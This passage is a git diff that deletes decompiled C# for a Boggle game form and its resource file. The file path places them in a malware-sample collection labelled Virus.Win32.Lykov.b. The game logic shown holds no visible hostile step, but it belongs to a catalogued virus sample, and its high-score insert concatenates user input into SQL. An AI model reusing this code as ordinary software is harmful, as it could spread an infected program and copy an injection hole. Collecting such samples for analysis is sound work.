modGlobal.Cubes.WordToShow = ""; - } - - private void picCubesUp_Paint(object sender, PaintEventArgs e) => modGlobal.Cubes.DrawCubes(e, modGlobal.Cubes.CubesState); - - private void btnAddWord_Click(object sender, EventArgs e) - { - if (Strings.Len(Strings.Trim(this.txtWordFound.Text)) > 2) - { - this.lstHumanWordsFound.Items.Add((object) this.txtWordFound.Text); - this.lblHumanWordsCount.Text = StringType.FromInteger(this.lstHumanWordsFound.Items.Count); - this.txtWordFound.Text = ""; - } - this.txtWordFound.Focus(); - } - - private void ShowText() - { - int num1; - int num2; - if (modGlobal.Cubes.DisplayTextFadeOut) - { - num1 = modGlobal.Cubes.DisplayTextMaxSize; - int num3 = checked (modGlobal.Cubes.DisplayTextMaxSize + 100); - num2 = checked ((int) Math.Round(unchecked ((double) num1 / 2.0))); - } - else - { - num1 = checked ((int) Math.Round(unchecked ((double) modGlobal.Cubes.DisplayTextMaxSize / 2.0))); - num2 = checked (num1 + 100); - } - modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Text; - int num4 = num1; - int num5 = 1; - while (num5 <= num4) - { - this.Show(); - if (num5 == num2) - Thread.Sleep(1000); - this.picCubesUp.Refresh(); - checked { ++num5; } - } - if (modGlobal.Cubes.DisplayTextFadeOut) - { - modGlobal.Cubes.DisplayText = ""; - this.picCubesUp.Refresh(); - } - if (modGlobal.Cubes.DisplayTextStartUp) - { - modGlobal.Cubes.ShowSpinStartUp(); - while (modGlobal.Cubes.CubesAreSpinning) - Application.DoEvents(); - this.btnScramble.BogButtonEnabled = true; - this.txtMain.Text = "5 seconds to re-scramble letters"; - } - this.ShowTextThread.Suspend(); - } - - private void txtWordFound_KeyPress(object sender, KeyPressEventArgs e) - { - if (!(StringType.StrCmp(Strings.Mid(StringType.FromChar(e.KeyChar), 1, 3), "\r", false) == 0 & this.btnAddWord.BogButtonEnabled)) - return; - this.btnAddWord_Click((object) this, new EventArgs()); - } - - private void tmrContMain_Tick(object sender, EventArgs e) - { - checked { ++this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024LoadWaitTime; } - if (!this.LoadTextShown & this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024LoadWaitTime == 5) - { - this.LoadTextShown = true; - this.ShowDisplayText("Welcome\r\n to\r\n Boggle", false, false, 160); - this.tmrContMain.Enabled = false; - this.mnuGame.Enabled = true; - this.mnuOptions.Enabled = true; - this.mnuHelp.Enabled = true; - OleDbCommand oleDbCommand = new OleDbCommand("Select ShowForm From ShowWelcome", modGlobal.conBoggle); - modGlobal.conBoggle.Open(); - OleDbDataReader oleDbDataReader = oleDbCommand.ExecuteReader(); - oleDbDataReader.Read(); - if (ObjectType.ObjTst(oleDbDataReader["ShowForm"], (object) 0, false) == 0) - new frmWelcome().Show(); - oleDbDataReader.Close(); - modGlobal.conBoggle.Close(); - } - else - { - if (!this.LoadTextShown) - return; - if (Strings.InStr(Strings.UCase(this.txtMain.Text), "RE-SCRAMBLING") != 0) - { - this.ScramSec = 5.0; - this.txtMain.Text = "5 seconds to re-scramble letters"; - } - else if (Strings.InStr(Strings.UCase(this.txtMain.Text), "RE-SCRAMBLE") != 0) - { - if (this.ScramSec % 1.0 == 0.0) - this.txtMain.Text = StringType.FromDouble(this.ScramSec) + " seconds to re-scramble letters"; - this.ScramSec -= 0.5; - if (this.ScramSec != 0.0) - return; - this.btnScramble.BogButtonEnabled = false; - this.btnContinue.BogButtonEnabled = false; - this.txtMain.Text = ""; - this.ScramSec = 5.0; - string str = this.StartLevel(false); - this.Min = IntegerType.FromString(Strings.Mid(str, 1, 1)); - this.Sec = DoubleType.FromString(Strings.Mid(str, 2)); - this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing = true; - } - else if (this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing) - { - this.Sec -= 0.5; - if (this.Sec < 0.0) - { - if (this.Min == 0) - { - this.\u0024STATIC\u0024tmrContMain_Tick\u002420211C1211\u0024TimerGoing = false; - this.btnScramble.BogButtonEnabled = false; - this.Sec = 60.0; - this.Min = 2; - this.EndLevel(); - return; - } - checked { --this.Min; } - this.Sec = 59.0; - } - string str = StringType.FromDouble(this.Sec); - if (this.Sec < 10.0) - str = "0" + StringType.FromDouble(this.Sec); - if (this.Sec % 1.0 == 0.0) - this.tmrMain.TimerText = StringType.FromInteger(this.Min) + str; - } - } - } - - private void tmrBtn1_Click(object sender, EventArgs e) - { - object o1 = LateBinding.LateGet(sender, (System.Type) null, "name", new object[0], (string[]) null, (bool[]) null); - if (ObjectType.ObjTst(o1, (object) "tmrBtn1", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 70, 0); - this.tmrMain.LedOnColor = System.Drawing.Color.LawnGreen; - } - else if (ObjectType.ObjTst(o1, (object) "tmrBtn2", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 0, 70); - this.tmrMain.LedOnColor = System.Drawing.Color.DeepSkyBlue; - } - else if (ObjectType.ObjTst(o1, (object) "tmrBtn3", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Aquamarine; - this.tmrMain.LedOffColor = System.Drawing.Color.LightCyan; - this.tmrMain.LedOnColor = System.Drawing.Color.Teal; - } - else if (ObjectType.ObjTst(o1, (object) "tmrBtn4", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(70, 0, 0); - this.tmrMain.LedOnColor = System.Drawing.Color.Red; - } - this.btnAddWord.Focus(); - } - - private void ShowDisplayText( - string Text, - bool FadeOut, - bool StartUp, - int MaxSize, - int PositionOffSet = 0) - { - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeLabel.Visible = false; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - if (StringType.StrCmp(modGlobal.Cubes.DisplayText, "", false) != 0) - this.ShowTextThread.Suspend(); - this.ShowTextThread = new Thread(new ThreadStart(this.ShowText)); - modGlobal.Cubes.DisplayTextFadeOut = FadeOut; - modGlobal.Cubes.DisplayTextStartUp = StartUp; - modGlobal.Cubes.DisplayTextMaxSize = MaxSize; - modGlobal.Cubes.DisplayPosition = PositionOffSet; - modGlobal.Cubes.DisplayText = Text; - modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Clear; - this.picCubesUp.Refresh(); - this.ShowTextThread.Start(); - } - - private void mnuNewGame_Click(object sender, EventArgs e) - { - if (this.ShowTextThread.ThreadState == System.Threading.ThreadState.Running) - this.ShowTextThread.Suspend(); - this.LoadTextShown = true; - this.mnuEndGame.Enabled = true; - this.mnuNewGame.Enabled = false; - this.mnuOptions.Enabled = false; - this.picCubeDown.Visible = false; - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeHighLight = System.Drawing.Color.LightGray; - modGlobal.myCube.CubeTextColor = System.Drawing.Color.DarkBlue; - modGlobal.myCube.CubeDownPic = (PictureBox) null; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - this.txtMain.Text = ""; - this.tmrContMain.Enabled = false; - this.lstCompFoundWords.Items.Clear(); - this.lstHumanWordsFound.Items.Clear(); - this.ShowDisplayText(" Get\r\nReady!", true, true, 180); - this.StartLevel(true); - while (this.ShowTextThread.ThreadState != System.Threading.ThreadState.Suspended) - Application.DoEvents(); - this.txtWordFound.Focus(); - this.tmrContMain.Enabled = true; - } - - private string StartLevel(bool JustObj) - { - string str1; - bool flag; - switch (modGlobal.GameMode) - { - case modGlobal.Mode.Vs: - str1 = "Try to find more words than me before time runs out.\r\nGood luck, your gonna need it!"; - flag = true; - break; - case modGlobal.Mode.BoardGame: - str1 = "Players: find as many words as you can before time runs out. Good luck!"; - flag = false; - break; - } - this.lblHumanWordsCount.Text = "0"; - this.lblCompWordsCount.Text = "0"; - this.txtMain.Text = str1; - this.tmrMain.TimerText = Strings.Replace(Strings.Mid(modGlobal.TimerInterval.ToString(), 3), "c", ""); - string str2; - if (!JustObj) - { - checked { ++this.Round; } - this.lblRound.Text = StringType.FromInteger(this.Round); - this.txtMain.Text += "\r\nComputer: Finding Words..."; - this.FindWordsThread = new Thread(new ThreadStart(this.FindAllWords)); - this.FindWordsThread.Start(); - this.btnAddWord.BogButtonEnabled = flag; - str2 = Strings.Replace(Strings.Mid(modGlobal.TimerInterval.ToString(), 3), "c", ""); - } - return str2; - } - - private void EndLevel() - { - int num1 = Information.UBound((Array) this.WordsChosen); - int index1 = 0; - while (index1 <= num1) - { - this.lstCompFoundWords.Items.Add((object) this.WordsChosen[index1]); - this.lblCompWordsCount.Text = StringType.FromInteger(this.lstCompFoundWords.Items.Count); - checked { ++index1; } - } - this.btnContinue.BogButtonEnabled = true; - this.txtWordFound.Text = ""; - int num2; - switch (modGlobal.GameMode) - { - case modGlobal.Mode.Vs: - num2 = -1; - this.btnAddWord.BogButtonEnabled = false; - break; - case modGlobal.Mode.BoardGame: - this.txtMain.Text = "Time is up! Tally up your points!\r\n\r\nClick \"Continue\" To Re-Start!"; - return; - } - if (this.lstHumanWordsFound.Items.Count < num2) - { - this.txtMain.Text = "Sorry, you did not find " + StringType.FromInteger(num2) + " words.\r\nGame over...\r\nTry again!!"; - this.ShowDisplayText("GAME\r\nOVER", false, false, 180); - } - else - { - int num3 = checked (this.lstHumanWordsFound.Items.Count - 1); - int index2 = 0; - int num4; - string str1; - while (index2 <= num3) - { - bool flag = true; - int num5 = checked (this.lstCompFoundWords.Items.Count - 1); - int index3 = 0; - while (index3 <= num5) - { - if (ObjectType.ObjTst(this.lstHumanWordsFound.Items[index2], this.lstCompFoundWords.Items[index3], false) == 0) - flag = false; - checked { ++index3; } - } - if (flag) - { - checked { ++num4; } - str1 = StringType.StrCmp(str1, "", false) != 0 ? StringType.FromObject(ObjectType.StrCatObj((object) str1, ObjectType.StrCatObj((object) ",", this.lstHumanWordsFound.Items[index2]))) : StringType.FromObject(ObjectType.StrCatObj((object) str1, this.lstHumanWordsFound.Items[index2])); - } - checked { ++index2; } - } - string str2 = Strings.Replace(str1, "\r\n", ""); - if (this.mnuEnableWordValidation.Checked & StringType.StrCmp(str2, (string) null, false) != 0) - { - this.txtMain.Text = "Validating Your Words..."; - Application.DoEvents(); - string str3 = modFindWords.ValidateWords(str2); - if (StringType.StrCmp(str3, (string) null, false) != 0) - { - int num6 = (int) MessageBox.Show("You have entered words that are impossible to make from the current letter configuration.\r\nThese words will be removed from the score calculation and excluded from your unique word list.\r\n\r\nInvalid words: " + Strings.Mid(str3, 1, checked (Strings.Len(str3) - 1)), "Impossible Words Found", MessageBoxButtons.OK); - while (StringType.StrCmp(str3, "", false) != 0) - { - checked { --num4; } - string Find = Strings.Mid(str3, 1, checked (Strings.InStr(str3, ",") - 1)); - str3 = Strings.Mid(str3, checked (Strings.InStr(str3, ",") + 1)); - str2 = Strings.Replace(Strings.Replace(str2, Find + ",", ""), Find, ""); - } - } - } - int num7 = this.ScoreWords(str2); - int num8 = num7; - checked { this.HumanScore += num7; } - this.lblHumanScore.Text = StringType.FromDouble(Conversion.Val(this.lblHumanScore.Text) + (double) num7); - this.txtMain.Text = "Your unique words: " + str2; - RichTextBox txtMain1 = this.txtMain; - txtMain1.Text = txtMain1.Text + "\r\nYou found " + StringType.FromInteger(this.lstHumanWordsFound.Items.Count) + " total words."; - RichTextBox txtMain2 = this.txtMain; - txtMain2.Text = txtMain2.Text + "\r\nYou found " + StringType.FromInteger(num4) + " unique words."; - string str4 = ""; - int num9 = 0; - int num10 = checked (this.lstCompFoundWords.Items.Count - 1); - int index4 = 0; - while (index4 <= num10) - { - bool flag = true; - int num11 = checked (this.lstHumanWordsFound.Items.Count - 1); - int index5 = 0; - while (index5 <= num11) - { - if (ObjectType.ObjTst(this.lstCompFoundWords.Items[index4], this.lstHumanWordsFound.Items[index5], false) == 0) - flag = false; - checked { ++index5; } - } - if (flag) - { - checked { ++num9; } - str4 = StringType.StrCmp(str4, "", false) != 0 ? StringType.FromObject(ObjectType.StrCatObj((object) str4, ObjectType.StrCatObj((object) ",", this.lstCompFoundWords.Items[index4]))) : StringType.FromObject(ObjectType.StrCatObj((object) str4, this.lstCompFoundWords.Items[index4])); - } - checked { ++index4; } - } - string Words = Strings.Replace(str4, "\r\n", ""); - RichTextBox txtMain3 = this.txtMain; - txtMain3.Text = txtMain3.Text + "\r\nMy unique words: " + Words; - RichTextBox txtMain4 = this.txtMain; - txtMain4.Text = txtMain4.Text + "\r\nI found " + StringType.FromInteger(this.lstCompFoundWords.Items.Count) + " total words."; - RichTextBox txtMain5 = this.txtMain; - txtMain5.Text = txtMain5.Text + "\r\nI found " + StringType.FromInteger(num9) + " unique words."; - int num12 = this.ScoreWords(Words); - int num13 = num12; - checked { this.ComputerScore += num12; } - this.lblCompScore.Text = StringType.FromDouble(Conversion.Val(this.lblCompScore.Text) + (double) num12); - if (num13 > num8) - { - this.lblComputerRounds.Text = StringType.FromDouble(Conversion.Val(this.lblComputerRounds.Text) + 1.0); - checked { ++this.ComputerRounds; } - } - else - { - this.lblHumanRounds.Text = StringType.FromDouble(Conversion.Val(this.lblHumanRounds.Text) + 1.0); - checked { ++this.HumanRounds; } - } - } - } - - public int ScoreWords(string Words) - { - if (Strings.Len(Words) == 0) - return 0; - Words += ","; - int num; - while (StringType.StrCmp(Words, "", false) != 0) - { - string Expression = Strings.Mid(Words, 1, checked (Strings.InStr(Words, ",") - 1)); - Words = Strings.Mid(Words, checked (Strings.InStr(Words, ",") + 1)); - switch (Strings.Len(Expression)) - { - case 3: - checked { ++num; } - break; - case 4: - checked { num += 2; } - break; - case 5: - checked { num += 3; } - break; - default: - checked { num += 4; } - break; - } - } - return num; - } - - private void tmrBtn1_Click_1(object sender, EventArgs e) - { - string timerText = this.tmrMain.TimerText; - object o1 = LateBinding.LateGet(sender, (System.Type) null, "name", new object[0], (string[]) null, (bool[]) null); - if (ObjectType.ObjTst(o1, (object) "tmrBtn1", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 70, 0); - this.tmrMain.LedOnColor = System.Drawing.Color.LawnGreen; - } - else if (ObjectType.ObjTst(o1, (object) "tmrBtn2", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 0, 70); - this.tmrMain.LedOnColor = System.Drawing.Color.DeepSkyBlue; - } - else if (ObjectType.ObjTst(o1, (object) "tmrBtn3", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Aquamarine; - this.tmrMain.LedOffColor = System.Drawing.Color.LightCyan; - this.tmrMain.LedOnColor = System.Drawing.Color.Teal; - } - else if (ObjectType.ObjTst(o1, (object) "tmrBtn4", false) == 0) - { - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(70, 0, 0); - this.tmrMain.LedOnColor = System.Drawing.Color.Red; - } - this.tmrMain.TimerText = timerText; - this.btnAddWord.Focus(); - } - - private void lstCompFoundWords_MouseUp(object sender, MouseEventArgs e) - { - if (StringType.StrCmp(modGlobal.Cubes.WordToShow, "", false) != 0) - this.ShowWordThread.Abort(); - modGlobal.Cubes.WordToShow = this.lstCompFoundWords.GetItemText(RuntimeHelpers.GetObjectValue(this.lstCompFoundWords.SelectedItem)); - this.ShowWordThread = new Thread(new ThreadStart(this.ShowWord)); - this.ShowWordThread.Start(); - if (!this.mnuEnableDefSearch.Checked) - return; - while (this.ShowWordThread.ThreadState == System.Threading.ThreadState.Running) - Application.DoEvents(); - this.txtMain.Text = "Querying Defenition..."; - Application.DoEvents(); - this.txtMain.Text = modFindWords.GetDef(this.lstCompFoundWords.GetItemText(RuntimeHelpers.GetObjectValue(this.lstCompFoundWords.SelectedItem))); - this.txtMain.SelectionStart = 0; - } - - private void ChangeMode(object sender, EventArgs e) - { - this.txtMain.Text = ""; - object o1 = LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null); - if (ObjectType.ObjTst(o1, (object) "Board Game Mode", false) == 0) - { - modGlobal.GameMode = modGlobal.Mode.BoardGame; - this.txtMain.Text = "---Board Game Mode---"; - } - else if (ObjectType.ObjTst(o1, (object) "Vs. Computer Mode", false) == 0) - { - modGlobal.GameMode = modGlobal.Mode.Vs; - this.txtMain.Text = "---Vs. Computer Mode---"; - } - else if (ObjectType.ObjTst(o1, (object) "Teaching Mode", false) == 0) - { - int num = (int) MessageBox.Show("Teaching mode is not available on the PSC version of Boggle .Net. Sorry!", "Teaching Mode", MessageBoxButtons.OK); - modGlobal.GameMode = modGlobal.Mode.Vs; - this.txtMain.Text = "---Vs. Computer Mode---"; - } - this.txtMain.Text += "\r\n\r\nClick \"Game\" - \"New Game\" To Start!"; - this.mnuNewGame.Enabled = true; - this.mnuEndGame.Enabled = false; - this.mnuBoardGameMode.Checked = false; - this.mnuVsMode.Checked = false; - this.mnuTeachingMode.Checked = false; - LateBinding.LateSet(sender, (System.Type) null, "checked", new object[1] - { - (object) true - }, (string[]) null); - } - - private void ChangeLevel(object sender, EventArgs e) - { - object o1 = LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null); - if (ObjectType.ObjTst(o1, (object) "Level Easy", false) == 0) - modGlobal.GameLevel = modGlobal.Level.Easy; - else if (ObjectType.ObjTst(o1, (object) "Level Medium", false) == 0) - modGlobal.GameLevel = modGlobal.Level.Medium; - else if (ObjectType.ObjTst(o1, (object) "Level Hard", false) == 0) - modGlobal.GameLevel = modGlobal.Level.Hard; - else if (ObjectType.ObjTst(o1, (object) "Level Impossible to win", false) == 0) - modGlobal.GameLevel = modGlobal.Level.Impossible; - this.mnuLevelEasy.Checked = false; - this.mnuLevelMedium.Checked = false; - this.mnuLevelHard.Checked = false; - this.mnuLevelImpossible.Checked = false; - this.Round = 0; - this.lblRound.Text = StringType.FromInteger(0); - LateBinding.LateSet(sender, (System.Type) null, "checked", new object[1] - { - (object) true - }, (string[]) null); - } - - private void CheckHighScores() - { - OleDbCommand oleDbCommand = new OleDbCommand("Select Count(*) as C From HighScores", modGlobal.conBoggle); - modGlobal.conBoggle.Open(); - int num1 = IntegerType.FromObject(oleDbCommand.ExecuteScalar()); - modGlobal.conBoggle.Close(); - if (num1 != 0) - { - oleDbCommand.CommandText = "Select Min(Rounds) as R From HighScores"; - modGlobal.conBoggle.Open(); - num1 = IntegerType.FromObject(oleDbCommand.ExecuteScalar()); - modGlobal.conBoggle.Close(); - } - if (this.HumanRounds <= num1) - return; - string str1; - switch (modGlobal.GameLevel) - { - case modGlobal.Level.Easy: - str1 = "Easy"; - break; - case modGlobal.Level.Medium: - str1 = "Medium"; - break; - case modGlobal.Level.Hard: - str1 = "Hard"; - break; - case modGlobal.Level.Impossible: - str1 = "Impossible"; - break; - } - string str2 = Interaction.InputBox("Congradulations!\r\nYou have made the Boggle .Net high score list!\r\nEnter your name (5 Char Max).", "New High Score"); - if (StringType.StrCmp(str2, "", false) == 0 | Strings.Len(str2) > 5) - str2 = "Lazy"; - oleDbCommand.CommandText = "Select Count(*) as C From HighScores"; - modGlobal.conBoggle.Open(); - int num2 = IntegerType.FromObject(oleDbCommand.ExecuteScalar()); - modGlobal.conBoggle.Close(); - if (num2 >= 10) - { - oleDbCommand.CommandText = "Delete From HighScores Where Rounds = " + StringType.FromInteger(num1); - modGlobal.conBoggle.Open(); - oleDbCommand.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - } - oleDbCommand.CommandText = "Insert Into HighScores (Name,[Level],Rounds,Score) Values ('" + Strings.UCase(str2) + "','" + str1 + "'," + StringType.FromInteger(this.HumanRounds) + "," + StringType.FromInteger(this.HumanScore) + ")"; - modGlobal.conBoggle.Open(); - oleDbCommand.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - } - - private void mnuEndGame_Click(object sender, EventArgs e) - { - if (this.ShowTextThread.ThreadState == System.Threading.ThreadState.Running) - this.ShowTextThread.Suspend(); - if (this.ShowWordThread.ThreadState == System.Threading.ThreadState.Running) - this.ShowWordThread.Suspend(); - this.tmrContMain.Enabled = false; - this.tmrMain.TimerText = "000"; - this.ScramSec = 5.0; - this.btnAddWord.BogButtonEnabled = false; - this.btnScramble.BogButtonEnabled = false; - this.btnFinish.BogButtonEnabled = false; - if (ObjectType.ObjTst(LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null), (object) "Continue", false) != 0) - { - this.Round = 0; - this.lblRound.Text = StringType.FromInteger(0); - this.lblCompScore.Text = StringType.FromInteger(0); - this.lblHumanScore.Text = StringType.FromInteger(0); - this.lblHumanRounds.Text = StringType.FromInteger(0); - this.lblComputerRounds.Text = StringType.FromInteger(0); - this.mnuOptions.Enabled = true; - this.CheckHighScores(); - } - modGlobal.Cubes.KillCubeThreads(); - modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Clear; - this.picCubesUp.Refresh(); - this.ShowDisplayText(" Game\r\nEnded!!", false, false, 180); - switch (modGlobal.GameMode) - { - case modGlobal.Mode.Vs: - this.ChangeMode((object) this.mnuVsMode, new EventArgs()); - break; - case modGlobal.Mode.BoardGame: - this.ChangeMode((object) this.mnuBoardGameMode, new EventArgs()); - break; - case modGlobal.Mode.Teaching: - this.ChangeMode((object) this.mnuTeachingMode, new EventArgs()); - break; - } - } - - private void mnuEnableDefSearch_Click(object sender, EventArgs e) - { - this.mnuEnableDefSearch.Checked = !this.mnuEnableDefSearch.Checked; - if (!this.mnuEnableDefSearch.Checked) - return; - int num = (int) MessageBox.Show("Defenition search is enabled. You must be connected to the internet in order for this feature to function properly.", "Defenition Search Enabled", MessageBoxButtons.OK); - } - - private void ChangeTimerInterval(object sender, EventArgs e) - { - object o1 = LateBinding.LateGet(sender, (System.Type) null, "text", new object[0], (string[]) null, (bool[]) null); - if (ObjectType.ObjTst(o1, (object) ":30", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec030; - else if (ObjectType.ObjTst(o1, (object) "1:00", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec100; - else if (ObjectType.ObjTst(o1, (object) "1:30", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec130; - else if (ObjectType.ObjTst(o1, (object) "2:00", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec200; - else if (ObjectType.ObjTst(o1, (object) "2:30", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec230; - else if (ObjectType.ObjTst(o1, (object) "3:00", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec300; - else if (ObjectType.ObjTst(o1, (object) "3:30", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec330; - else if (ObjectType.ObjTst(o1, (object) "4:00", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec400; - else if (ObjectType.ObjTst(o1, (object) "4:30", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec430; - else if (ObjectType.ObjTst(o1, (object) "5:00", false) == 0) - modGlobal.TimerInterval = modGlobal.Interval.Sec500; - this.mnuTmr30.Checked = false; - this.mnuTmr100.Checked = false; - this.mnuTmr130.Checked = false; - this.mnuTmr200.Checked = false; - this.mnuTmr230.Checked = false; - this.mnuTmr300.Checked = false; - this.mnuTmr330.Checked = false; - this.mnuTmr400.Checked = false; - this.mnuTmr430.Checked = false; - this.mnuTmr500.Checked = false; - LateBinding.LateSet(sender, (System.Type) null, "checked", new object[1] - { - (object) true - }, (string[]) null); - } - - private void mnuEnableTimerFlash_Click(object sender, EventArgs e) - { - this.mnuEnableTimerFlash.Checked = !this.mnuEnableTimerFlash.Checked; - if (this.mnuEnableTimerFlash.Checked) - this.tmrMain.EnableFlash = true; - else - this.tmrMain.EnableFlash = false; - } - - private void mnuExitGame_Click(object sender, EventArgs e) - { - this.mnuEndGame_Click((object) this.mnuEndGame, new EventArgs()); - this.Dispose(); - ProjectData.EndApp(); - } - - private void btnContinue_Click_1(object sender, EventArgs e) - { - this.mnuEndGame_Click((object) this.btnContinue, new EventArgs()); - this.mnuNewGame_Click((object) this.mnuEndGame, new EventArgs()); - } - - private void btnScramble_Click_1(object sender, EventArgs e) - { - this.txtMain.Text = "Re-Scrambling..."; - this.txtMain.Refresh(); - this.lstCompFoundWords.DataSource = (object) null; - this.lstCompFoundWords.Items.Clear(); - this.lstHumanWordsFound.Items.Clear(); - this.FoundWords.Clear(); - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeLabel.Visible = false; - modGlobal.myCube.CubeHighLight = System.Drawing.Color.LightGray; - modGlobal.myCube.CubeTextColor = System.Drawing.Color.DarkBlue; - modGlobal.myCube.SetRndCubeLetter(); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Spinning; - this.tmrContMain.Enabled = false; - modGlobal.Cubes.ScrambleCubes(); - while (modGlobal.Cubes.CubesAreScrambling) - Application.DoEvents(); - this.tmrContMain.Enabled = true; - modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Normal; - this.picCubesUp.Refresh(); - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeLabel.Visible = true; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - } - - private void mnuEnableWordValidation_Click(object sender, EventArgs e) => this.mnuEnableWordValidation.Checked = !this.mnuEnableWordValidation.Checked; - - private void lstHumanWordsFound_MouseUp(object sender, MouseEventArgs e) - { - if (!this.mnuEnableDefSearch.Checked) - return; - while (this.ShowWordThread.ThreadState == System.Threading.ThreadState.Running) - Application.DoEvents(); - this.txtMain.Text = "Querying Defenition..."; - Application.DoEvents(); - this.txtMain.Text = modFindWords.GetDef(this.lstHumanWordsFound.GetItemText(RuntimeHelpers.GetObjectValue(this.lstHumanWordsFound.SelectedItem))); - this.txtMain.SelectionStart = 0; - } - - private void btnFinish_Click(object sender, EventArgs e) - { - this.Sec = 0.0; - this.Min = 0; - this.tmrMain.TimerText = "000"; - } - - private void mnuTips_Click(object sender, EventArgs e) - { - frmWelcome frmWelcome = new frmWelcome(); - frmWelcome.chkMain.Visible = false; - frmWelcome.Show(); - } - - private void mnuAbout_Click(object sender, EventArgs e) => new frmAbout().Show(); - - private void mnuHighScores_Click(object sender, EventArgs e) => new frmHighScores().Show(); - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.resx deleted file mode 100644 index adf0bf4d..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/frmMain.resx +++ /dev/null @@ -1,480 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - - 